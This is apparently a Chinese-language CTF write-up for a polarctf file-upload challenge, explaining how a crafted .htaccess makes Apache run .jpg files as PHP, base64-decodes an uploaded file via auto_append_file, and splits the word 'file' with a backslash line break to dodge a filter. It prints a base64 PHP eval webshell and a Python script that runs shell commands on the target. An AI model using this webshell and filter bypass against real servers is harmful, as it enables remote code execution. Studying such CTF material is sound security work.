对apache服务器环境下利用.htaccess配置文件完成文件上传的理解
对apache服务器环境下利用.htaccess配置文件完成文件上传的理解
.htaccess 文件是 Apache Web 服务器中的配置文件,用于控制服务器的行为。其格式非常简单,通常由一系列指令和规则组成
我们这里可以利用的就是把别的格式的文件当作php文件来执行
AddType application/x-httpd-php .jpg
AddType:AddType是 Apache 配置指令,用于为特定的文件扩展名指定 MIME 类型。MIME 类型(Multipurpose Internet Mail Extensions)用于指示浏览器如何处理某种类型的文件。
application/x-httpd-php:application/x-httpd-php是指定的 MIME 类型。在这里,它表示文件将被作为 PHP 脚本来处理。- 正常情况下,PHP 文件的 MIME 类型通常是
application/x-httpd-php,这意味着该文件应由 PHP 解析器处理,而不是由浏览器直接下载或展示。
.jpg:.jpg是目标文件的扩展名。在此指令中,它表示所有以.jpg结尾的文件。
整体作用
当这条指令被包含在 .htaccess 文件或 Apache 配置中时,它的效果是:
- 任何请求后缀为
.jpg的文件将被 Apache 服务器视作 PHP 文件进行处理。这意味着即使文件的扩展名是.jpg,服务器仍然会将其当作 PHP 脚本执行,而不是作为普通的图像文件返回。
例题 polarctf 困难 上传
回到这道题,明白了htaccess的用法之后我们就可以传马了
script头可以绕过对<?的过滤,但是在php7之后这些标签都被移除了,因此可以采取编码的方式绕过,将我们要上传的一句话木马使用base64编码后进行上传
php肯定没法解析base64编码后的代码,所以在执行前需要进行base64解码,这里同样需要利用htaccess进行解码
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=yjh.jpg"
php_value:php_value是一种指令,通常在 Apache 的.htaccess文件中使用,用于设置 PHP 的配置选项。这允许用户在特定目录下更改某些 PHP 设置,而不必修改全局的php.ini文件。
auto_append_file:auto_append_file是一个 PHP 配置选项,用于指定在每个脚本执行完毕后自动附加的文件。这意味着在每个 PHP 脚本结束时,指定的文件内容将被添加到输出中。
"php://filter/read=convert.base64-decode/resource=yjh.jpg":- 这是一个特殊的流路径,使用了php:filter这个协议。具体来说,它做了以下几件事情:
read=convert.base64-decode:这是一个过滤器,指示 PHP 在读取文件时,对其执行 Base64 解码。即该路径会将文件的内容视作 Base64 编码的内容进行解码。resource=yjh.jpg:这是要读取的资源,这里指定的文件是yjh.jpg,即该 JPEG 文件。
- 这是一个特殊的流路径,使用了php:filter这个协议。具体来说,它做了以下几件事情:
整体作用
通过设置 auto_append_file 为这个流路径,PHP 在处理每个请求时:
- 在执行完 PHP 脚本后,自动读取指定的 JPEG 文件 (
yjh.jpg),并对其内容进行 Base64 解码。 - 将解码后的内容附加到最终的输出中。
这里还要注意一个问题
由于本题过滤了文件内容中的file,所以我们需要利用反斜杠加换行绕过file过滤
在 PHP 和许多编程语言或配置文件中,反斜杠(\)可以用作行续符,允许将一条指令拆分为多行书写。这种方式可以在代码或配置中增强可读性,但是在某些情况下,它也可以作为一种简单的“绕过”机制,避免触发特定文本的过滤或识别。
通过在 file 和其后内容之间插入反斜杠并换行,关键词 file 被拆分为两部分,使得过滤机制不再能识别完整的 file 这个关键词。
例如,php_value auto_append_fi\ 作为一行,\le 在下一行,其实是在继续前一行的内容,从而构成了 auto_append_file。由于过滤机制只检测单行,因此无法判断 file 是整个关键词的一部分。
php_value auto_append_fi\
le
至此本题思路结束
上传htaccess文件
AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=yjh.jpg"
上传base64编码后的一句话马文件
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
上传,访问/upload/yjh.jpg,传参,拿到flag
Exp
import requests
url='http://949c4480-402d-40c7-8119-4af0266f6c9e.www.polarctf.com:8090/upload/yjh.jpg'
data={'a':'system("cat /f*");'}
r=requests.post(url,data=data)
print(r.text)
对apache服务器环境下利用.htaccess配置文件完成文件上传的理解的更多相关文章
- Windows环境下用C#编程将文件上传至阿里云OSS笔记
Windows环境下用C#编程将文件上传至阿里云OSS笔记 本系列文章由ex_net(张建波)编写,转载请注明出处. http://blog.csdn.net/ex_net/article/detai ...
- springmvc环境下使用ajaxfileupload.js进行文件上传
controller: /* #region */ @RequestMapping(produces = "text/html;charset=UTF-8", value = &q ...
- XCode5环境下利用crash log调试线上Crash的流程
1.前言 本文主要介绍在XCode5环境下,如何根据App自己生成的crashlog来调试真机上运行时产生的crash问题. 2. 步骤 (1)构造一段会crash的代码,并放到viewDidLoad ...
- windows下IIS+PHP解决大文件上传500错问题
linux下改到iis+php后,上传大于2M就出500错,改了php.ini中的upload_max_filesize也不行,最后解决如下: 第一步:修改php.ini 上传大小限制 (以上传500 ...
- SpringMVC第五篇【方法返回值、数据回显、idea下配置虚拟目录、文件上传】
Controller方法返回值 Controller方法的返回值其实就几种类型,我们来总结一下-. void String ModelAndView redirect重定向 forward转发 数据回 ...
- python利用socket写一个文件上传
1.先将一张图片拖入‘文件上传’的目录下,利用socket把这张图片写到叫‘yuan’的文件中 2.代码: #模拟服务端 import subprocess import os import sock ...
- 利用Selenium实现图片文件上传的两种方式介绍
在实现UI自动化测试过程中,有一类需求是实现图片上传,这种需求根据开发的实现方式,UI的实现方式也会不同. 一.直接利用Selenium实现 这种方式是最简单的一种实现方式,但是依赖于开发的实现. 当 ...
- 利用MultipartFile来进行文件上传
这个例子实在SpringMVC的基础上完成的,因此在web.xml中需要配置 web.xml <!-- 配置Spring MVC的入口 DispatcherServlet,把所有的请求都提交到该 ...
- 4GB以上超大文件上传和断点续传服务器的实现
随着视频网站和大数据应用的普及,特别是高清视频和4K视频应用的到来,超大文件上传已经成为了日常的基础应用需求. 但是在很多情况下,平台运营方并没有大文件上传和断点续传的开发经验,往往在网上找一些简单的 ...
- Apache Commons fileUpload实现文件上传之一
需要两个jar包: commons-fileupload.jar Commons IO的jar包(本文使用commons-io-2.4.jar) 利用Servlet来实现文件上传. package ...
随机推荐
- 【面试题】实现 queryParse 函数,完成解析 URL 参数的功能
问题:实现 queryParse 函数,完成解析 URL 参数的功能 /** * 问题:实现 queryParse 函数,完成解析 URL 参数的功能 * * 用法: * ```js * const ...
- 安装卸载GNOME
只需要三步:sudo yum -y groups install "GNOME Desktop"sudo systemctl set-default graphical.targe ...
- Delphi 检测鼠标键盘多久没有活动
function GetInputAwayTime():DWORD; var lpi:TLastInputInfo; begin lpi.cbSize := sizeof(lpi); GetLastI ...
- Redis 集群实现分布式缓存的示例操作流程【Redis 系列之五】
〇.前言 Redis 集群的核心优势在于高可用性.可扩展性和高性能,特别适合需要处理大规模数据和高并发请求的应用场景. 本文先介绍了什么是 Redis 集群,然后通过示例,以手动和自动两种方式搭建集群 ...
- Python科学计算系列7—微分方程
1.可分离变量方程 例1:求下列微分方程法通解 先化简此方程如下: 代码如下: from sympy import * x = symbols('x') f = symbols('f', cls=Fu ...
- Nginx日志拆分(linux环境下)
1.新增shell脚本[nginx_log.sh],进行每日自动切割一次,存储在nginx文件夹下的logs下 #!/bin/bash #设置日志文件存放目录 LOG_HOME="/app/ ...
- Robot Framework自定义库的创建于应用(全新库)
场景:新建库文件,库文件内新增方法,用于robot调用执行原始方法内不具备的能力.具体方法图下 1.找到目录C:\Python27\Lib\site-packages 2.新增文件夹"New ...
- Spark on K8s 在vivo大数据平台的混部实战
作者:vivo 互联网大数据团队- Qin Yehai 在离线混部可以提高整体的资源利用率,不过离线Spark任务部署到混部容器集群需要做一定的改造,本文将从在离线混部中的离线任务的角度,讲述离线任务 ...
- DPDI(Dispatch PDI)kettle调度管理平台之实操演练第002讲-最强三件套之Dispatch PDI+PDI+PRD生成DPDI应用数据库数据字典
DPDI实操演练第002讲 最强三件套之Dispatch PDI+PDI+PRD生成DPDI应用数据库数据字典 1.案例适用范围 Dispatch PDI资源仓库管理使用可参考 Dispatch ...
- web自动化的三大切换
元素有时在另一个页面里查找元素却报错找不到元素,可能是因为要查找的元素不在原来所在的页面. 一.iframe切换 有些定位元素定位不到,是因为元素在新的iframe页面里,但是driver还停留在原来 ...